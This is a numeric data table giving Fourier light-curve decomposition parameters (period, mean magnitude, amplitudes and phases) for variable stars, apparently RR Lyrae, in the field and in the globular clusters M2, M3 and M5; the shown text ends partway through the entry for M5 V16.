0.0008 1.7556 0.0022 5.8720 0.0043 5.0873 0.0057 4.5393 0.0063 4.0293
V LMi
0.5439300000 0.0000 11.849 56 0.0186
0.3867 2.3376 0.1850 0.7752 0.1286 5.7970 0.0840 4.4825 0.0554 3.2283
0.0389 1.9680 0.0248 0.6892 0.0136 5.5077 0.0101 3.9750 0.0101 2.6768
0.0065 2.0263 0.0029 1.7579 0.0012 1.9911 0.0016 6.1650 0.0026 5.1371
U Lep
0.5814775000 0.0000 10.648 237 0.0254
0.4227 4.0409 0.2023 4.0247 0.1446 4.3664 0.1001 4.7824 0.0685 5.1977
0.0457 5.5953 0.0295 5.9766 0.0184 0.0363 0.0110 0.3373 0.0065 0.5768
0.0039 0.7703 0.0022 1.0293 0.0012 1.6864 0.0009 3.0631 0.0015 4.0226
TV Lib
0.2696239800 0.0000 12.113 178 0.0270
0.4145 0.4130 0.2236 3.0118 0.1497 5.9507 0.1025 2.6281 0.0723 5.6098
0.0525 2.3977 0.0389 5.4115 0.0247 1.9321 0.0171 4.6267 0.0137 1.3195
0.0127 4.4831 0.0094 0.9179 0.0070 3.8109 0.0063 0.3117 0.0041 2.4714
VY Lib
0.5339377000 0.0000 11.755 182 0.0279
0.3323 1.5810 0.1719 5.5155 0.1135 3.5836 0.0735 1.6421 0.0460 5.9783
0.0270 4.0268 0.0140 2.0737 0.0055 0.0882 0.0002 4.7484 0.0026 5.4799
0.0036 3.4470 0.0037 1.3600 0.0033 5.4915 0.0028 3.2779 0.0026 1.0637
TT Lyn
0.5974332000 0.0000 9.881 636 0.0092
0.2559 3.6619 0.1180 3.4779 0.0800 3.6666 0.0441 4.0103 0.0172 4.5126
0.0063 4.8614 0.0040 5.7970 0.0074 6.2555 0.0080 0.2626 0.0066 0.5058
0.0052 0.5783 0.0054 0.6282 0.0041 1.3550 0.0048 1.6286 0.0034 1.3602
IO Lyr
0.5771220000 0.0000 11.855 87 0.0202
0.3382 3.0680 0.1840 2.2085 0.1074 1.8359 0.0648 1.4625 0.0387 1.0708
0.0225 0.6624 0.0126 0.2161 0.0069 6.0209 0.0037 5.5917 0.0022 5.4150
0.0021 5.4918 0.0025 5.3145 0.0026 5.0043 0.0022 4.6950 0.0016 4.4093
KX Lyr
0.4409050000 0.0000 11.030 152 0.0163
0.4014 2.2983 0.1866 0.8710 0.1016 5.8585 0.0558 4.5826 0.0253 3.2175
0.0126 1.7791 0.0070 0.2981 0.0031 4.9369 0.0011 3.8065 0.0001 5.2903
0.0007 4.1349 0.0006 2.9226 0.0014 1.8028 0.0006 2.3364 0.0011 0.2781
RV Oct
0.5711665850 0.0000 11.012 398 0.0094
0.3779 4.1261 0.2041 4.4144 0.1298 5.0012 0.0904 5.6821 0.0490 0.1159
0.0296 0.4491 0.0233 1.0283 0.0125 1.7947 0.0056 2.4444 0.0037 3.0235
0.0007 3.8583 0.0020 6.0936 0.0031 0.7461 0.0027 1.2024 0.0037 2.1778
ST Oph
0.4503564000 0.0000 12.244 154 0.0257
0.4570 4.8467 0.2232 5.6333 0.1613 0.4916 0.1003 1.6110 0.0723 2.7571
0.0497 3.9989 0.0285 5.0847 0.0199 6.0403 0.0164 0.8571 0.0082 2.1193
0.0089 3.1273 0.0069 4.6543 0.0047 5.8273 0.0021 0.8756 0.0031 2.4625
V445 Oph
0.3970231990 0.0000 11.045 690 0.0167
0.3085 3.4196 0.1584 3.2291 0.0910 3.1342 0.0450 3.0939 0.0289 2.8226
0.0171 2.6689 0.0086 2.5040 0.0034 2.2114 0.0009 1.2036 0.0015 5.8327
0.0023 5.4655 0.0026 5.3221 0.0025 5.2049 0.0020 5.0878 0.0015 4.8649
V452 Oph
0.5571630000 0.0000 12.303 139 0.0261
0.3335 1.2315 0.1464 4.7049 0.1142 2.3219 0.0845 6.1097 0.0489 3.8080
0.0269 1.5287 0.0140 5.5657 0.0070 3.4290 0.0036 1.5638 0.0031 6.1324
0.0035 4.0418 0.0040 1.7225 0.0043 5.5673 0.0046 3.1265 0.0049 0.6674
DN Pav
0.4684437600 0.0000 12.550 275 0.0359
0.4554 1.8136 0.1984 5.8583 0.1531 3.7652 0.1030 1.9233 0.0791 0.0553
0.0573 4.5434 0.0387 2.7484 0.0244 0.9095 0.0146 5.2377 0.0092 3.0715
0.0074 0.8278 0.0074 5.0713 0.0072 3.2198 0.0064 1.4814 0.0052 6.1221
AV Peg
0.3903760000 0.0000 10.536 110 0.0197
0.3487 5.7013 0.1930 1.4137 0.1084 3.6085 0.0617 5.7775 0.0379 1.5746
0.0289 3.7197 0.0169 5.7081 0.0097 1.4041 0.0080 3.9127 0.0039 6.1281
0.0022 2.8403 0.0022 5.2942 0.0011 1.1699 0.0011 3.0934 0.0011 5.7924
AR Per
0.4255489200 0.0000 10.487 123 0.0112
0.3183 2.2127 0.1725 0.7301 0.1054 5.7987 0.0610 4.5565 0.0357 3.3076
0.0196 2.0554 0.0092 0.8390 0.0028 6.1900 0.0019 0.3446 0.0037 5.7915
0.0046 4.5474 0.0049 3.2358 0.0044 1.8696 0.0037 0.5677 0.0028 5.5635
U Pic
0.4403703000 0.0000 11.435 146 0.0229
0.3892 4.8282 0.2150 5.7592 0.1431 0.8070 0.0929 2.1112 0.0577 3.4128
0.0370 4.6538 0.0247 5.8496 0.0172 0.7516 0.0121 1.9216 0.0081 3.1289
0.0048 4.3754 0.0022 5.6724 0.0001 1.3534 0.0016 4.9332 0.0027 6.2565
BB Pup
0.4805468000 0.0000 12.209 290 0.0244
0.3322 5.3753 0.1804 0.7173 0.1112 2.6217 0.0677 4.5679 0.0409 0.1003
0.0244 1.9926 0.0138 3.9826 0.0072 6.1227 0.0037 2.2847 0.0030 4.9654
0.0035 1.0325 0.0037 3.0668 0.0036 5.0687 0.0034 0.7098 0.0032 2.6098
V440 Sgr
0.4774788300 0.0000 10.424 227 0.0137
0.4214 6.2784 0.2026 2.2377 0.1530 4.8294 0.0974 1.1471 0.0721 3.8023
0.0458 0.1497 0.0273 2.7642 0.0188 5.2133 0.0152 1.5347 0.0119 4.2220
0.0069 0.5833 0.0044 3.1611 0.0024 5.8988 0.0016 2.0557 0.0005 4.1631
VY Ser
0.7140962000 0.0000 10.153 254 0.0120
0.2581 3.8357 0.1243 4.0015 0.0759 4.3823 0.0330 5.0026 0.0142 5.5430
0.0080 0.1362 0.0071 0.9985 0.0068 1.6356 0.0061 2.1479 0.0052 2.6173
0.0044 3.1058 0.0044 3.5220 0.0039 3.9105 0.0036 4.3377 0.0033 4.7809
AN Ser
0.5220721100 0.0000 11.008 194 0.0177
0.3678 3.0363 0.1834 2.4866 0.1034 2.2175 0.0626 1.7261 0.0364 1.3665
0.0192 1.0381 0.0087 0.7593 0.0029 0.5104 0.0009 1.6616 0.0022 1.8629
0.0037 1.4916 0.0048 1.0811 0.0055 0.7265 0.0055 0.3768 0.0050 0.1175
AT Ser
0.7465682000 0.0000 11.531 163 0.0161
0.3227 0.0291 0.1584 2.7672 0.1014 5.5007 0.0577 2.1541 0.0310 5.2446
0.0166 2.1042 0.0092 5.3644 0.0060 2.5013 0.0054 5.8556 0.0052 2.7068
0.0049 5.6932 0.0043 2.3143 0.0035 5.1647 0.0027 1.6832 0.0020 4.4269
AV Ser
0.4875571000 0.0000 11.562 134 0.0197
0.3988 1.5731 0.1920 5.3747 0.1341 3.3659 0.0827 1.2069 0.0519 5.3799
0.0338 3.2693 0.0229 1.1805 0.0155 5.4071 0.0096 3.3641 0.0053 1.2870
0.0025 5.2370 0.0016 2.5240 0.0014 0.2500 0.0011 4.6624 0.0005 3.4664
RW Tra
0.3740390000 0.0000 11.344 168 0.0146
0.2807 1.6469 0.1356 5.9320 0.0710 4.1350 0.0362 2.3013 0.0172 0.3859
0.0077 4.6489 0.0032 2.5566 0.0003 0.5756 0.0013 1.7758 0.0020 0.0040
0.0016 4.6174 0.0007 3.1526 0.0004 3.4522 0.0010 2.1761 0.0009 0.7241
W Tuc
0.6422370000 0.0000 11.495 154 0.0088
0.4002 5.2118 0.2145 0.3417 0.1344 2.0102 0.0886 3.9515 0.0406 5.5835
0.0297 0.7075 0.0245 2.4465 0.0094 4.3113 0.0069 5.4001 0.0039 1.0121
0.0012 5.7618 0.0013 2.7843 0.0017 3.4408 0.0025 4.7811 0.0030 5.7889
YY Tuc
0.6350210000 0.0000 12.066 131 0.0206
0.4041 1.3958 0.2203 5.1597 0.1370 2.9369 0.0886 0.9079 0.0529 5.0367
0.0324 2.8305 0.0210 0.6233 0.0143 4.7381 0.0099 2.6492 0.0071 0.6886
0.0055 5.1255 0.0048 3.3309 0.0046 1.5179 0.0046 5.8794 0.0043 3.8988
TU UMa
0.5576570000 0.0000 9.849 427 0.0135
0.3281 2.9453 0.1658 1.9827 0.1162 1.4013 0.0748 0.8343 0.0426 0.3007
0.0236 6.0006 0.0127 5.3717 0.0064 4.7611 0.0027 4.3444 0.0015 4.8865
0.0027 4.8732 0.0038 4.3968 0.0046 3.8138 0.0050 3.2229 0.0051 2.6125
UU Vir
0.4756065200 0.0000 10.627 110 0.0139
0.3756 1.3720 0.2054 5.1373 0.1310 2.9590 0.0938 0.8321 0.0569 4.9574
0.0339 2.6308 0.0197 0.3671 0.0144 4.3542 0.0086 1.8993 0.0050 5.6799
0.0037 3.3662 0.0046 0.6953 0.0034 4.6167 0.0018 2.0494 0.0011 5.7768
AV Vir
0.6569080000 0.0000 11.842 140 0.0184
0.2718 0.7286 0.1335 4.0737 0.0822 1.4576 0.0426 5.1255 0.0194 2.5043
0.0088 0.0118 0.0056 4.2381 0.0069 2.1287 0.0078 5.9873 0.0070 3.4682
0.0050 0.8733 0.0028 4.4377 0.0014 1.3375 0.0010 4.4196 0.0009 1.7312
FW Lup
0.4841712000 0.0000 9.052 169 0.0086
0.1606 3.3751 0.0634 3.1072 0.0232 3.2745 0.0082 3.6904 0.0051 4.7690
0.0042 5.0601 0.0030 4.8525 0.0023 4.6901 0.0017 4.9176 0.0010 5.3408
0.0003 4.9870 0.0003 2.3305 0.0003 2.6121 0.0000 5.3859 0.0003 5.5432
V490 Sco
0.4922558000 0.0000 11.482 133 0.0195
0.3663 1.9254 0.2038 0.1110 0.1250 4.7910 0.0820 3.3398 0.0380 1.7193
0.0338 6.0684 0.0220 4.7434 0.0086 2.8546 0.0088 1.5222 0.0058 1.3098
0.0045 6.0720 0.0009 4.5418 0.0076 3.7729 0.0022 1.8668 0.0025 1.0862
AF Vel
0.5273984000 0.0000 11.482 157 0.0239
0.3759 5.8477 0.1376 1.3938 0.0933 3.4968 0.0617 5.6998 0.0358 1.6889
0.0195 3.8089 0.0103 5.5790 0.0091 1.0873 0.0071 3.2653 0.0040 5.4608
0.0015 0.5806 0.0026 2.0800 0.0024 4.6055 0.0003 0.2005 0.0019 0.9708
UU Cet
0.6060721000 0.0000 12.096 237 0.0191
0.2375 4.6102 0.1090 5.4051 0.0693 0.3343 0.0392 1.7366 0.0139 3.1655
0.0050 5.1573 0.0050 0.6754 0.0055 1.7681 0.0059 2.6917 0.0059 3.6384
0.0054 4.6505 0.0043 5.7439 0.0032 0.6904 0.0024 2.1088 0.0022 3.5242
S Ara
0.4518795000 0.0000 10.847 335 0.0175
0.4389 1.1536 0.2113 4.5513 0.1647 1.9809 0.1062 5.7515 0.0777 3.1931
0.0497 0.6987 0.0270 4.3402 0.0219 1.7162 0.0159 5.4500 0.0098 3.1381
0.0079 0.2860 0.0064 4.1626 0.0045 1.4240 0.0029 4.8622 0.0019 2.4384
V675 Sgr
0.6422895000 0.0000 10.394 237 0.0152
0.3255 4.1899 0.1532 4.4373 0.1171 5.0077 0.0757 5.6205 0.0486 6.2605
0.0235 0.6508 0.0093 1.1960 0.0071 1.4745 0.0066 2.7387 0.0072 3.9962
0.0059 5.4567 0.0021 0.3332 0.0036 0.1265 0.0035 1.0168 0.0045 1.3120
AA CMi
0.4763239000 0.0000 11.571 76 0.0122
0.3614 4.0322 0.1830 4.4886 0.1027 5.2535 0.0601 5.9087 0.0351 0.2690
0.0201 0.8712 0.0113 1.4164 0.0063 1.9319 0.0033 2.5146 0.0012 3.4517
0.0010 5.8352 0.0020 0.6689 0.0025 1.4800 0.0025 2.2539 0.0020 3.0228
V690 Sco
0.4922551000 0.0000 11.483 151 0.0234
0.3608 1.1773 0.2030 4.9002 0.1253 2.5389 0.0809 0.3401 0.0442 4.1992
0.0278 1.6788 0.0187 5.5480 0.0114 3.3146 0.0056 1.3139 0.0031 6.0502
0.0029 4.3494 0.0027 2.0394 0.0024 5.7720 0.0022 3.1689 0.0019 0.7607
V964 Ori
0.5046350000 0.0000 13.067 75 0.0136
0.4331 1.1143 0.1942 4.4287 0.1504 1.7296 0.0949 5.5227 0.0687 2.9308
0.0504 0.3918 0.0321 4.1086 0.0207 1.4755 0.0145 5.0802 0.0109 2.4187
0.0083 6.1038 0.0063 3.5876 0.0045 1.1660 0.0033 5.1323 0.0025 2.8974
VW Scl
0.5109147000 0.0000 11.111 47 0.0092
0.4462 0.3364 0.2139 2.9227 0.1338 5.9395 0.0982 2.6548 0.0599 5.6900
0.0377 2.3342 0.0258 5.1996 0.0188 1.7916 0.0137 4.7042 0.0094 1.3535
0.0058 4.2566 0.0030 0.7147 0.0017 2.9351 0.0020 5.1952 0.0023 1.6978
AQ Lyr
0.3571424000 0.0000 13.053 58 0.0152
0.3878 2.8487 0.1939 1.8247 0.0918 1.0658 0.0593 0.2955 0.0343 5.6907
0.0211 4.8685 0.0132 4.0290 0.0096 3.1134 0.0086 2.2567 0.0081 1.5318
0.0069 0.8859 0.0051 0.2696 0.0029 5.9380 0.0007 5.2550 0.0010 1.6842
CN Lyr
0.4113823200 0.0000 11.386 52 0.0062
0.2124 6.0931 0.0874 2.2332 0.0381 4.9616 0.0153 1.2542 0.0059 3.5135
0.0028 5.5678 0.0012 1.1971 0.0010 2.6793 0.0010 4.9696 0.0004 1.1102
0.0004 1.4044 0.0007 3.9774 0.0005 0.3206 0.0002 1.4226 0.0006 3.3792
M2 V3
0.6197084000 0.0000 16.009 142 0.0115
0.3620 4.2297 0.1866 4.6589 0.1199 5.3151 0.0805 6.1052 0.0430 0.6573
0.0221 1.0830 0.0156 1.8186 0.0096 2.6539 0.0047 3.5039 0.0017 4.5117
0.0008 0.0956 0.0013 1.3157 0.0018 2.0252 0.0022 2.7023 0.0024 3.4196
M2 V4
0.5642512000 0.0000 15.970 141 0.0249
0.3491 3.5961 0.1651 3.0857 0.1208 2.9443 0.0868 2.9134 0.0550 2.8421
0.0266 2.6881 0.0200 2.4107 0.0173 2.3543 0.0131 2.4038 0.0083 2.4895
0.0043 2.6136 0.0017 2.8515 0.0007 3.3618 0.0005 3.3334 0.0010 2.8721
M2 V7
0.5948665000 0.0000 16.003 145 0.0167
0.3738 4.7682 0.1817 5.6607 0.1207 0.5681 0.0775 1.7928 0.0449 3.0318
0.0213 4.1222 0.0099 5.0251 0.0054 5.9052 0.0030 0.7444 0.0012 2.3465
0.0009 4.9887 0.0014 0.4727 0.0015 1.8936 0.0012 3.2480 0.0007 4.5840
M2 V9
0.6092938000 0.0000 16.045 145 0.0115
0.3496 1.3511 0.1762 5.1069 0.1182 2.9054 0.0781 0.7729 0.0458 4.9202
0.0215 2.7277 0.0150 0.3543 0.0109 4.4957 0.0063 2.5514 0.0029 0.9247
0.0018 6.0908 0.0019 4.4769 0.0016 2.3511 0.0013 6.1432 0.0015 3.5975
M2 V10
0.8757413000 0.0000 15.752 145 0.0084
0.2514 4.8819 0.1052 0.1187 0.0483 2.0391 0.0202 3.5895 0.0095 5.9780
0.0086 2.1964 0.0066 3.8314 0.0063 5.4206 0.0056 0.6613 0.0045 2.2050
0.0035 3.8213 0.0028 5.4608 0.0022 0.7402 0.0016 2.1524 0.0011 3.3995
M2 V12
0.6656063000 0.0000 15.954 145 0.0170
0.3546 2.1568 0.1918 0.6000 0.1244 5.5326 0.0737 4.4101 0.0392 3.0618
0.0243 1.6336 0.0164 0.5288 0.0053 5.8080 0.0045 3.5438 0.0017 3.8396
0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
M2 V13
0.7066260000 0.0000 15.950 145 0.0151
0.2870 4.6741 0.1497 5.6776 0.0928 0.5871 0.0401 1.9603 0.0206 3.4534
0.0113 5.0845 0.0074 0.6102 0.0067 2.3231 0.0065 3.7713 0.0060 5.0404
0.0054 6.2096 0.0049 1.0598 0.0045 2.2166 0.0041 3.4336 0.0037 4.7194
M3 V01
0.5206250000 0.0000 15.690 169 0.0130
0.3973 1.7451 0.1707 5.7437 0.1365 3.6364 0.0920 1.7301 0.0667 6.1092
0.0458 4.1882 0.0289 2.3777 0.0151 0.5107 0.0092 4.8520 0.0069 2.7673
0.0071 0.8802 0.0057 5.3630 0.0011 3.7321 0.0019 2.8230 0.0020 0.3741
M3 V10
0.5695185000 0.0000 15.680 173 0.0151
0.3153 2.2330 0.1434 0.4995 0.1100 5.3674 0.0684 4.0358 0.0416 2.7675
0.0218 1.5238 0.0081 0.1176 0.0041 4.6785 0.0045 3.4445 0.0043 3.4406
0.0037 2.7429 0.0016 1.5737 0.0028 0.1757 0.0015 4.0226 0.0008 4.3968
M3 V11
0.5078918000 0.0000 15.694 170 0.0099
0.4278 1.1862 0.1920 4.6375 0.1486 2.0498 0.0982 5.8793 0.0725 3.4067
0.0521 1.0130 0.0337 4.8688 0.0202 2.3736 0.0155 6.0733 0.0125 3.5169
0.0094 0.9681 0.0050 4.4099 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
M3 V14
0.6359019000 0.0000 15.565 168 0.0150
0.3032 5.4509 0.1506 0.8182 0.0907 2.7822 0.0547 4.8675 0.0212 0.6129
0.0099 2.2500 0.0048 4.4235 0.0032 1.8534 0.0040 4.8665 0.0039 0.3559
0.0042 2.3375 0.0040 4.1098 0.0029 6.2115 0.0030 1.4998 0.0020 3.5082
M3 V15
0.5300794000 0.0000 15.668 169 0.0095
0.3719 3.0818 0.1660 2.1272 0.1328 1.4305 0.0895 0.8772 0.0632 0.3278
0.0418 6.0982 0.0241 5.6115 0.0142 4.8343 0.0110 4.1856 0.0082 3.4594
0.0058 3.0682 0.0039 2.8098 0.0030 2.5766 0.0016 3.4055 0.0025 2.0192
M3 V17
0.5757000000 0.0000 15.694 166 0.0149
0.2683 3.4985 0.1128 3.0558 0.0766 2.9144 0.0363 2.8320 0.0122 2.7280
0.0017 2.2546 0.0024 6.1712 0.0031 6.0560 0.0026 6.0803 0.0021 6.2081
0.0017 0.1385 0.0017 0.3295 0.0017 0.4262 0.0015 0.4495 0.0012 0.4263
M3 V18
0.5163623000 0.0000 15.754 168 0.0156
0.3795 4.4216 0.1766 4.8266 0.1382 5.5440 0.0923 0.0334 0.0641 0.8163
0.0379 1.6732 0.0215 2.5011 0.0154 3.0727 0.0116 3.6966 0.0089 4.5914
0.0044 5.6303 0.0037 1.4058 0.0026 1.8685 0.0014 3.5457 0.0038 4.0819
M3 V23
0.5953756000 0.0000 15.634 172 0.0158
0.2745 0.1664 0.1241 2.7549 0.0800 5.6515 0.0440 2.4177 0.0209 5.5595
0.0087 2.4002 0.0029 5.6278 0.0011 3.1370 0.0012 0.1393 0.0017 2.7846
0.0023 5.5154 0.0028 2.1151 0.0030 5.0995 0.0028 1.8902 0.0024 5.0696
M3 V34
0.5591012000 0.0000 15.675 174 0.0157
0.3601 5.9070 0.1677 1.6976 0.1049 3.9299 0.0543 6.1002 0.0331 1.8509
0.0203 3.8831 0.0140 6.0803 0.0094 1.8301 0.0068 3.8231 0.0033 5.9114
0.0027 2.6979 0.0022 3.9663 0.0011 1.3098 0.0004 5.1095 0.0010 1.1808
M3 V35
0.5296000000 0.0000 15.657 167 0.0215
0.4227 1.6229 0.1939 5.5149 0.1314 3.3665 0.0848 1.3830 0.0567 5.6704
0.0371 3.6858 0.0234 1.7164 0.0143 6.0482 0.0089 4.1108 0.0059 2.1612
0.0044 0.1546 0.0037 4.3596 0.0034 2.2388 0.0030 0.0961 0.0025 4.1995
M3 V50
0.5130879000 0.0000 15.686 171 0.0160
0.2425 1.7124 0.0860 5.6058 0.0347 3.2370 0.0081 1.2413 0.0050 5.7063
0.0017 3.3751 0.0009 0.8362 0.0012 3.5564 0.0016 3.3862 0.0018 1.1521
0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
M3 V51
0.5839818000 0.0000 15.691 171 0.0103
0.2854 3.0809 0.1384 2.2614 0.0994 1.8002 0.0614 1.4038 0.0337 1.1239
0.0124 0.7361 0.0064 0.2302 0.0032 0.2477 0.0055 0.8273 0.0055 0.6411
0.0053 0.1894 0.0058 5.8316 0.0046 5.6502 0.0056 5.2393 0.0045 4.9646
M3 V52
0.5162250000 0.0000 15.706 174 0.0152
0.4421 3.2691 0.1811 2.5612 0.1412 1.9627 0.0922 1.4479 0.0660 0.9424
0.0458 0.5202 0.0301 0.0722 0.0216 5.8443 0.0174 5.4065 0.0113 5.0284
0.0091 4.5779 0.0061 4.1685 0.0039 3.6139 0.0030 3.1737 0.0026 3.0758
M3 V53
0.5048878000 0.0000 15.736 175 0.0133
0.4045 4.4816 0.1873 4.8783 0.1415 5.5529 0.0977 0.0913 0.0667 0.9092
0.0452 1.7156 0.0304 2.5020 0.0201 3.2587 0.0131 3.9768 0.0087 4.6568
0.0059 5.3255 0.0042 6.0423 0.0030 0.5962 0.0022 1.6220 0.0019 2.8469
M3 V59
0.5888053000 0.0000 15.685 168 0.0159
0.3016 2.7599 0.1391 1.6705 0.0944 0.8470 0.0551 0.0738 0.0261 5.6276
0.0109 4.8789 0.0035 4.1761 0.0008 5.0026 0.0024 5.0198 0.0036 4.2341
0.0044 3.4097 0.0049 2.5924 0.0050 1.7840 0.0048 0.9779 0.0044 0.1662
M3 V61
0.5209312000 0.0000 15.701 172 0.0122
0.4528 5.6716 0.1973 1.0443 0.1281 2.9030 0.0908 4.9514 0.0624 0.6971
0.0435 2.7173 0.0308 4.7289 0.0221 0.4474 0.0160 2.4387 0.0118 4.4220
0.0087 0.1210 0.0065 2.1140 0.0050 4.1344 0.0038 6.2011 0.0030 2.0480
M3 V62
0.6524077000 0.0000 15.631 173 0.0133
0.1830 0.2666 0.0842 3.1265 0.0449 0.1401 0.0210 3.5948 0.0092 0.8479
0.0062 4.6286 0.0058 1.8669 0.0053 5.1794 0.0044 2.1252 0.0035 5.3034
0.0027 2.1451 0.0021 5.2123 0.0018 1.9628 0.0017 5.0144 0.0016 1.8327
M3 V64
0.6054588000 0.0000 15.697 174 0.0130
0.2501 5.0062 0.1159 6.2325 0.0770 1.5420 0.0435 3.2444 0.0187 5.0715
0.0073 0.5026 0.0045 2.6796 0.0049 4.9228 0.0075 0.2889 0.0073 2.0871
0.0068 3.2099 0.0059 4.6444 0.0043 0.0274 0.0038 1.2585 0.0021 3.3002
M3 V65
0.6683397000 0.0000 15.534 165 0.0099
0.3238 3.8356 0.1658 3.9646 0.1031 4.2637 0.0585 4.8071 0.0291 5.1055
0.0173 5.4878 0.0060 6.2427 0.0031 1.1576 0.0030 2.0870 0.0037 2.7712
0.0047 3.2736 0.0056 3.6549 0.0060 3.9668 0.0059 4.2357 0.0055 4.4791
M3 V69
0.5665878000 0.0000 15.701 175 0.0109
0.3038 2.7876 0.1469 1.6229 0.1070 0.8347 0.0681 0.1301 0.0377 5.7276
0.0179 4.9419 0.0083 3.9769 0.0058 3.7840 0.0046 3.4630 0.0047 3.6681
0.0048 2.7571 0.0045 2.3068 0.0057 1.1729 0.0044 0.7299 0.0057 5.9732
M3 V74
0.4921441000 0.0000 15.724 174 0.0109
0.4279 5.1452 0.1873 6.2828 0.1485 1.3142 0.0993 2.8245 0.0697 4.3385
0.0474 5.8705 0.0305 1.0708 0.0202 2.5408 0.0125 3.8033 0.0123 5.1815
0.0085 0.5387 0.0062 2.1231 0.0044 3.7646 0.0039 5.5608 0.0012 1.1627
M3 V84
0.5957289000 0.0000 15.673 173 0.0082
0.2543 4.7703 0.1207 5.6610 0.0851 0.6864 0.0472 2.0592 0.0221 3.5365
0.0079 4.9300 0.0059 0.6969 0.0058 2.3028 0.0061 3.8528 0.0075 5.3554
0.0064 0.3091 0.0054 1.4430 0.0050 3.0326 0.0036 4.5186 0.0029 5.4709
M3 V90
0.5170334000 0.0000 15.731 168 0.0171
0.3840 2.9636 0.1766 1.8905 0.1382 1.1183 0.0920 0.4024 0.0664 5.9781
0.0405 5.3829 0.0247 4.7576 0.0143 3.9080 0.0118 3.0555 0.0087 2.5946
0.0047 2.0845 0.0026 1.2568 0.0016 0.0747 0.0005 2.7633 0.0015 0.0311
M3 V92
0.5035553000 0.0000 15.720 166 0.0100
0.3941 4.8920 0.1542 5.6389 0.1106 0.3661 0.0706 1.5298 0.0452 2.6873
0.0279 3.9832 0.0150 5.4009 0.0080 0.7525 0.0046 2.6087 0.0023 3.7180
0.0038 4.4337 0.0041 5.9020 0.0021 0.8317 0.0015 1.0039 0.0018 2.0852
M3 V104
0.5699231000 0.0000 15.603 174 0.0122
0.4233 5.7721 0.2043 1.2905 0.1475 3.2939 0.1023 5.4185 0.0742 1.3983
0.0469 3.6420 0.0274 5.5997 0.0201 1.3036 0.0160 3.4867 0.0124 5.7831
0.0091 1.8410 0.0065 4.1988 0.0045 0.2757 0.0033 2.6162 0.0026 4.9049
M3 V106
0.5471593000 0.0000 15.718 174 0.0158
0.2342 0.2838 0.1207 3.1699 0.0622 6.2290 0.0176 2.8458 0.0016 6.2337
0.0039 5.5276 0.0048 2.4583 0.0042 5.7354 0.0033 2.8282 0.0026 6.2678
0.0021 3.4147 0.0017 0.5148 0.0013 3.8603 0.0009 0.9020 0.0006 4.2167
M3 V124
0.7524328000 0.0000 15.542 169 0.0063
0.1481 5.4735 0.0493 1.1354 0.0192 3.5213 0.0050 6.2363 0.0043 2.7882
0.0049 4.8196 0.0036 0.9260 0.0034 3.2890 0.0017 5.3338 0.0015 0.8265
0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
M5 V1
0.5217770000 0.0000 15.158 243 0.0102
0.3681 2.4975 0.1827 1.0512 0.1307 6.2184 0.0876 5.0860 0.0554 4.0946
0.0318 2.9942 0.0213 1.6837 0.0155 0.4497 0.0104 5.6050 0.0058 4.5243
0.0024 3.4431 0.0003 2.1258 0.0007 4.5963 0.0010 3.4076 0.0008 2.1496
M5 V2
0.5266120000 0.0000 15.141 274 0.0273
0.3975 1.5053 0.1978 5.4245 0.1132 3.2813 0.0824 1.1330 0.0547 5.2633
0.0372 3.0707 0.0268 0.8524 0.0203 4.9132 0.0158 2.7008 0.0125 0.4997
0.0098 4.5838 0.0076 2.3706 0.0059 0.1251 0.0046 4.1186 0.0038 1.7985
M5 V3
0.6001490000 0.0000 15.077 272 0.0112
0.2531 5.8995 0.1212 1.6979 0.0786 4.1641 0.0435 0.4649 0.0192 3.1139
0.0068 5.6615 0.0052 2.6670 0.0063 5.4871 0.0065 1.8302 0.0061 4.3859
0.0054 0.5848 0.0046 2.9981 0.0038 5.3698 0.0032 1.4626 0.0027 3.8861
M5 V4
0.4496990000 0.0000 15.098 264 0.0249
0.3923 1.7921 0.1669 5.9430 0.0816 3.8809 0.0366 2.0876 0.0136 0.1710
0.0036 3.5419 0.0061 0.5897 0.0071 4.8865 0.0056 2.9765 0.0031 0.9502
0.0014 4.4376 0.0022 1.5759 0.0031 5.8202 0.0031 3.9233 0.0025 2.0385
M5 V5
0.5458240000 0.0000 15.130 266 0.0348
0.3505 1.0638 0.1675 4.3566 0.1295 1.9415 0.0866 5.7582 0.0514 3.1862
0.0290 0.7367 0.0173 4.3580 0.0115 1.7761 0.0070 5.6660 0.0034 3.5830
0.0023 2.1443 0.0032 0.2216 0.0038 4.0982 0.0040 1.5144 0.0041 5.1419
M5 V8
0.5461430000 0.0000 15.128 274 0.0174
0.3408 6.0358 0.1550 1.8697 0.1100 4.2976 0.0697 0.4963 0.0411 2.9696
0.0235 5.3787 0.0130 1.4293 0.0069 3.6782 0.0032 5.8082 0.0011 1.1379
0.0015 1.9666 0.0028 4.0344 0.0037 0.0806 0.0041 2.4908 0.0040 4.9380
M5 V9
0.6989070000 0.0000 14.929 274 0.0118
0.2854 5.8256 0.1412 1.8389 0.0864 4.3027 0.0358 0.5288 0.0219 3.1497
0.0067 6.2139 0.0046 2.8382 0.0064 5.7954 0.0067 2.2484 0.0055 4.3114
0.0062 0.5081 0.0068 3.2232 0.0049 5.8084 0.0049 1.4521 0.0044 4.3489
M5 V10
0.5306620000 0.0000 15.132 140 0.0118
0.3652 5.4472 0.1781 0.6174 0.1319 2.4297 0.0854 4.2506 0.0557 6.1620
0.0308 1.7558 0.0171 3.4476 0.0123 5.1818 0.0089 0.7610 0.0051 2.7141
0.0018 5.0175 0.0018 2.3577 0.0033 4.5088 0.0040 0.0914 0.0042 1.8960
M5 V11
0.5959110000 0.0000 14.988 240 0.0137
0.3807 0.1909 0.2017 2.8334 0.1249 5.7556 0.0874 2.4989 0.0483 5.5742
0.0268 1.9554 0.0186 4.9299 0.0120 1.7282 0.0069 4.7937 0.0034 1.5439
0.0013 4.6247 0.0003 2.5754 0.0009 0.1189 0.0013 3.0542 0.0017 5.9318
M5 V12
0.4677070000 0.0000 15.168 275 0.0109
0.4412 6.2654 0.2028 2.1968 0.1566 4.7166 0.1000 1.0719 0.0702 3.6208
0.0499 0.0078 0.0321 2.6055 0.0212 5.1306 0.0151 1.3388 0.0115 3.8471
0.0090 0.1145 0.0069 2.7080 0.0051 5.3409 0.0035 1.7364 0.0021 4.4981
M5 V16
0.6476340000 0.0000 14.868 270 0.0154
0.3991 0.1464 0.2204 2.8597 0.1352 5.6662 0.0871 2.5690 0.0402 5.4332
